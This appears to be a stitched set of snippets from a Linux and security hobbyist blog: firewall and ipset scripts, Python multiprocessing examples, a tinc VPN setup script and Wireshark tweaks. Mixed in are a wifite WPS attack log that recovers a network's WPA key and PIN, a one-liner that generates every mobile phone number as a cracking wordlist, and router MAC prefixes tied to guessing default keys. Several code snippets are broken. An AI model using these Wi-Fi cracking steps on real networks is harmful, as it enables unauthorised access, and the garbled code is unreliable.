sudo iptables -P INPUT DROP sudo iptables -P FORWARD DROP sudo iptables -P OUTPUT DROP
That's all! You've got a SUPER SECURED SYSTEM! :)
If you don't know what are you doing, learn it! :)
sudo iptables -P INPUT DROP sudo iptables -P FORWARD DROP sudo iptables -P OUTPUT DROP
#!/bin/bash
name="apt-white" #change it for your needs
function makeset(){
check=$(sudo ipset list $name |grep -o $name)
if [[ ! "$check" == "$name" ]]
then
sudo ipset create $name iphash
append_set
else
append_set
fi
}
function append_set(){
ipset flush $name
ip_list=$(for line in $(echo "$(grep -Ril "http" /etc/apt/ |xargs cat)" |grep http|cut -d":" -f2|cut -d'/' -f3 |sort -u |grep '.'); do host $line;done |grep 'has address' | rev |cut -d' ' -f1 |rev |sort -u)
for line in $ip_list; do
ipset -A $name $line
done
exit 0
}
makeset
#!/usr/bin/env python
from subprocess import Popen,PIPE
from urlparse import urlparse
import sys,re,os
import socket
# Name your SET & Global variables
name = 'apt-white'
srv_list = []
srv_ip = []
# Search in '/etc/apt/' directory for files that includes 'http'
p = Popen('grep -Ril http /etc/apt/'.split(' '),stdout=PIPE)
file_list = p.stdout.read().split()
# Look inside every file in list and extract every domain-name into list(srv_list)
for one_file in file_list:
with open(one_file,'r') as f:
for line in f.readlines():
line = line.lower()
line = re.findall(r'(https?://\S+)', line)
if line:
parsed = urlparse(line[0])
srv_list.append(parsed.hostname)
# Make DNS lookup for every domain-name in set(srv_list), and return list of IP's in list(srv_ip), IGNORING IPv6 addresses (':' not in string)
for srv in set(srv_list):
srv_ip += list(set([i[-1][0] for i in socket.getaddrinfo(srv, 80) if not ':' in i[-1][0]]))
# Checking if your SET already exists
command = 'ipset list '+name
p = Popen(command.split(' '),stdout=PIPE)
check = p.stdout.read()
# If not, creating a new one
if not name in check:
print 'Creating new SET %s' % name
os.system('ipset create '+name+' iphash')
# If yes, flushing all data in your SET
else:
print 'Flushing all data in %s' % name
os.system('ipset flush '+name)
# Appending to the SET all IP addresses we found
for i in set(srv_ip):
os.system('ipset -A '+name+' '+i)
print '\ndone.'
# Profit! :)
#Threading Example
from threading import Thread
#defining a global variable
mylist = []
def somefunc(a):
global mylist
mylist.append(a)
def main()
for i in range(100):
t = Thread(target=somefunc,args=(i,))
t.start()
t.join()
| #Multiprocessing Example
from multiprocessing import Process
#defining a global variable
mylist = []
def somefunc(a):
global mylist
mylist.append(a)
def main()
for i in range(100):
t = Process(target=somefunc,args=(i,))
t.start()
t.join()
|
from multiprocessing import Process,Manager
mylist = Manager.list()
def somefunc(a):
mylist.append(a)
def main()
for i in range(100):
t = Process(target=somefunc,args=(i,))
t.start()
t.join()
from multiprocessing import Pool,cpu_count,active_children
mylist = Manager.list()
def somefunc(a):
mylist.append(a)
def main()
#creating pool of worker processes, for 4 Cores will be 40 processes.
pool = Pool(processes=cpu_count()*10)
for i in range(100):
#start processes asynchronous, without waiting until process ends.
pool.apply_async(somefunc, (i,))
pool.close()
#waiting for results of ALL processes
while len(active_children()) > 1:
sleep(0.5)
pool.join()
In this example, there will be no more than 40 processes running at the same time.from multiprocessing import Pool,cpu_count,active_children
mylist = []
def somefunc(a):
a += 1
return a
def main()
def cb(data):
if data:
global mylist
mylist.append(data)
pool = Pool(processes=cpu_count()*10)
for i in range(100):
pool.apply_async(somefunc, (i,), callback=cb)
pool.close()
while len(active_children()) > 1:
sleep(0.5)
pool.join()
![]() |
Lua: Error during loading: [string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled |
nano /usr/share/wireshark/init.lua
-- Set disable_lua to true to disable Lua support.
disable_lua = true
sudo addgroup -system wireshark sudo chown root:wireshark /usr/bin/dumpcap sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap sudo usermod -a -G wireshark YOUR_USER_NAME
aircrack-ngIf you want to try and have troubles with installation, use google.
python-tk
reaver
macchanger
pyrit
$wifite
NUM ESSID CH ENCR POWER WPS? CLIENT
--- -------------------- -- ---- ----- ---- ------
1 CoolNet 11 WPA2 66db wps
2 HenP 11 WPA2 45db wps
3 CIPI 13 WPA2 43db wps
4 CoolNet2 9 WPA2 40db wps
5 Virus 11 WPA2 36db wps
6 fani 11 WPA2 35db wps
7 bbb1950 11 WPA2 33db wps
8 035031801 11 WPA2 30db wps
9 netbox-8845 11 WPA2 29db wps
10 Salon 11 WPA2 29db no
11 Yeuda 11 WEP 29db wps
12 niray 11 WPA2 29db wps
13 Jacob 11 WEP 29db no
14 Shmueli_Leon 11 WPA2 28db wps
15 gross_zeev 2.4 11 WPA2 27db no
[+] select target numbers (1-15) separated by commas, or 'all': 1
[+] 1 target selected.
[0:00:00] initializing WPS PIN attack on CoolNet (F8:1A:67:C8:AB:1E)
[0:22:47] WPS attack, 357/404 success/ttl, 94.50% complete (3 sec/att)
[+] PIN found: 76663919
[+] WPA key found: testpassword
[0:08:20] starting wpa handshake capture on "CoolNet"
[0:00:00] unable to capture handshake in timesent
[+] 2 attacks completed:
[+] 0/2 WPA attacks succeeded
found CoolNet's WPA key: "testpassword", WPS PIN: 76663919
[+] quitting
$python
>>>import requests
>>>r = requests.get('http://google.com')
>>>r.headers
{'alternate-protocol': '80:quic', 'x-xss-protection': '1; mode=block', 'transfer-e
ncoding': 'chunked', 'set-cookie': 'PREF=ID=1f15ab14c12505e8: FF=0:TM=1406501237:L
M=1406501237:S=hHSSoJtgc9dO1MXE; expires=Tue, 26-Jul-2016 22:47:17 GMT; path=/; do
main=.google.co.il, NID=67=D8CbgklOsbelB5ei756y3rTdBBrqAxVON2vpQRxDql2tsw3rq0ANQlc
ndJ8aQ37it9U6ofhaO5xx6wuQOqSX0tHp2QlNREjkwIWtFiXhy_s5L2GLXNKYjE0pkQCs9Fph; expires
=Mon, 26-Jan-2015 22:47:17 GMT; path=/; domain=.google.co.il; HttpOnly', 'expires'
: '-1', 'server': 'gws', 'cache-control': 'private, max-age=0', 'date': 'Sun, 27 J
ul 2014 22:47:17 GMT', 'p3p': 'CP="This is not a P3P policy! See http://www.google
.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."', 'con
tent-type': 'text/html; charset=windows-1255', 'x-frame-options': 'SAMEORIGIN'}
>>>r.headers['server'] 'gws'More info: Python Requests: HTTP for Humans
$curl --head google.com HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: http://www.google.co.il/?gfe_rd=cr&ei=2YLVU76XNOTa8gf49YGYCw Content-Length: 261 Date: Sun, 27 Jul 2014 22:53:13 GMT Server: GFE/2.0 Alternate-Protocol: 80:quic
auto eth0
iface eth0 inet static
address 172.16.100.1
netmask 255.255.0.0
gateway 172.16.0.1
dns-nameservers 8.8.8.8
auto eth0:0
iface eth0:0 inet static
address 172.16.100.2
netmask 255.255.0.0
auto eth0:1
iface eth0:1 inet static
address 172.16.100.3
netmask 255.255.0.0
$ip addr add 172.16.100.1/16 dev eth0 $ip addr add 172.16.100.2/16 dev eth0 $ip addr add 172.16.100.3/16 dev eth0 $ip addr add 172.16.100.4/16 dev eth0 label eth0:0 #you can label it 'label eth0:0' $ip addr show dev eth0 2: eth0:mtu 1500 qdisc pfifo_fast state UP qlen 1000 link/ether 28:d2:44:33:d8:a3 brd ff:ff:ff:ff:ff:ff inet 172.16.1.204/16 brd 172.16.255.255 scope global eth0 << this is the primary IP Address valid_lft forever preferred_lft forever inet 172.16.100.1/16 scope global secondary eth0 << this is secondary valid_lft forever preferred_lft forever inet 172.16.100.2/16 scope global secondary eth0 valid_lft forever preferred_lft forever inet 172.16.100.3/16 scope global secondary eth0 valid_lft forever preferred_lft forever inet 172.16.100.4/16 scope global secondary eth0:0 << this with label 'eth0:0' valid_lft forever preferred_lft forever inet6 fe80::2ad2:44ff:fe33:a459/64 scope link valid_lft forever preferred_lft forever
$ifconfig
eth0 Link encap:Ethernet HWaddr 28:d2:44:33:a4:59
inet addr:172.16.1.204 Bcast:172.16.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:48726 errors:0 dropped:0 overruns:0 frame:0
TX packets:30127 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:40392826 (40.3 MB) TX bytes:4955907 (4.9 MB)
eth0:0 Link encap:Ethernet HWaddr 28:d2:44:33:a4:59 << only labelled is shown.
inet addr:172.16.100.4 Bcast:0.0.0.0 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
$ echo -e "\n"054{0..9}{0..9}{0..9}{0..9}{0..9}{0..9}{0..9} > phones.txt
$ cat phones.txt |head
0540000000
0540000001
0540000002
0540000003
0540000004
0540000005
0540000006
0540000007
0540000008
$ cat phones.txt |tail
0549999990
0549999991
0549999992
0549999993
0549999994
0549999995
0549999996
0549999997
0549999998
0549999999
#!/bin/bash
# Tinc VPN Setup script.
# Be sure, that your system is accessible from outside your LAN. Otherwise it's waste of time :)
# By Alexander Korznikov.
#there are text coloring variables
bldred='\e[1;31m' # Red
bldgrn='\e[1;32m' # Green
bldylw='\e[1;33m' # Yellow
txtrst='\e[0m' # Text Reset
function usage()
{
echo ""
echo ""
echo -e "$txtcyn Be sure you've installed tinc previously, by$txtgrn apt-get install tinc$txtrst"
echo ""
echo -e "$bldred Please note, this stupid script will not check your input!! Check it twice!"
echo ""
echo -e "$txtwht By the way, you can view the source and get some useful stuff from it :) $txtrst"
echo ""
echo -e "$bldgrn Usage: sudo $0 install$txtrst"
echo ""
echo -e "$txtwht\t by Alexander Korznikov, @CSI-7$txtrst"
}
function install()
{
echo ""
echo -e "Enter your$bldgrn VPN Name$txtrst (default: myvpn) \c"
read myvpn
if [[ $myvpn != "myvpn" ]]
then
echo ""
echo -e "Your VPN Name: \"$bldgrn$myvpn$txtrst\""
myvpn=$myvpn
else
myvpn="myvpn"
echo ""
echo -e "Your VPN Name: \"$bldgrn$myvpn$txtrst\""
fi
mkdir -p /etc/tinc/$myvpn/hosts
tincconf="/etc/tinc/$myvpn/tinc.conf"
echo ""
echo -e "Enter your host name: \c"
read name
echo "Name = $name" > $tincconf
echo ""
echo "Setting AddressFamily to ipv4..."
echo "AddressFamily = ipv4" >> $tincconf
echo ""
echo "Setting Interface to \"tun0\"..."
echo ""
echo "Interface = tun0" >> $tincconf
# this checks if you using tinc in internet or local network
echo ""
echo -e "Do you setup your VPN on$bldgrn WAN$txtrst or$bldgrn LAN$txtrst network? [wan/lan] \c"
read answer
if [[ $answer == "wan" ]]
then
wget getmyipaddress.org -O ./inetip.txt -o /dev/null
myip=`cat inetip.txt |grep 'Your IP Address' | cut -d":" -f2 | sed -e 's, ,,g' |cut -d "<" -f1`
#rm inetip.txt
elif [[ $answer == "lan" ]]
then
myip=`ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'`
else
echo "Incorrect answer...exiting!"
echo ""
echo "Cleanup..."
sleep 1
rm -r /etc/tinc/$myvpn
exit 0
fi
echo -e "For debug.. your IP Address is $bldgrn"$myip"$txtrst..."
echo ""
echo "Address = $myip" > /etc/tinc/$myvpn/hosts/$name
echo -e "Enter your$bldgrn VPN IP address$txtrst [ex. 5.0.0.22]: \c"
read vpnip
echo "Subnet = $vpnip/32" >> /etc/tinc/$myvpn/hosts/$name
echo ""
#checking if you already have private key for $myvpn
echo "Removing all previously generated keys for $myvpn..."
sleep 1
echo ""
if [ -e /etc/tinc/$myvpn/rsa_key.priv ]
then
rm /etc/tinc/$myvpn/rsa_key.priv
fi
echo ""
echo "Now, we'll generate public/private keys..."
echo ""
echo -e "Press Enter to continue... \c"
read blabla
tincd -n $myvpn -K4096
echo "Creating start-up script..."
sleep 1 #it's just for fun ;)
echo ""
echo "!#/bin/bash" > /etc/tinc/$myvpn/tinc-up
echo "ifconfig \$INTERFACE $vpnip netmask 255.255.255.0" >> /etc/tinc/$myvpn/tinc-up
chmod +x /etc/tinc/$myvpn/tinc-up
echo "Creating shutdown script..."
sleep 1
echo "!#/bin/bash" > /etc/tinc/$myvpn/tinc-down
echo "ifconfig \$INTERFACE down" >> /etc/tinc/$myvpn/tinc-down
chmod +x /etc/tinc/$myvpn/tinc-down
echo ""
echo -e "Enter the name you want to connect to [ex. john]: \c"
read connectto
echo "ConnectTo = $connectto" >> $tincconf
echo ""
echo ""
echo -e "Now, exchange public keys, and run $bldgrn\"tincd -n $myvpn\"$txtrst"
echo ""
if [[ $answer == "wan" ]]
then
echo -e "$bldred Be sure, if your system is accessible from outside.$txtrst"
echo ""
fi
nautilus /etc/tinc/$myvpn/hosts
echo "Good luck."
echo ""
}
if [[ $1 = "install" ]]
then
install
else
usage
fi
import requests
from bs4 import BeautifulSoup
r = requests.get('https://twitter.com/CelebWorshipLdr')
soup = BeautifulSoup(r.content) #raw html data
a = []
for i in soup.find_all('p',{'class':'ProfileTweet-text js-tweet-text u-dir'}):
a += i.text.encode('ascii','ignore').split()
a = set(a)
print a
$ set(['sometimes,', 'saying', 'all', 'ever.', 'background', 'Mumford.'...etc])
The prime modem/router that you can get from this company -- "Hotbox DOCSIS 3.0 Cable Modem/Wireless Router", manufactured by SAGEMCOM.18622cThe last thing that we need to know its 7'th and 8'th character.
2c3996
2ce412
348aae
3c81d8
4c17eb
681590
6c2e85
7c034c
7c03d8
00789e
90013b
94fef4
c0ac54
c0d044
c8cd72
cc33bb
d86ce9
e8be81
e8f1b0
f08261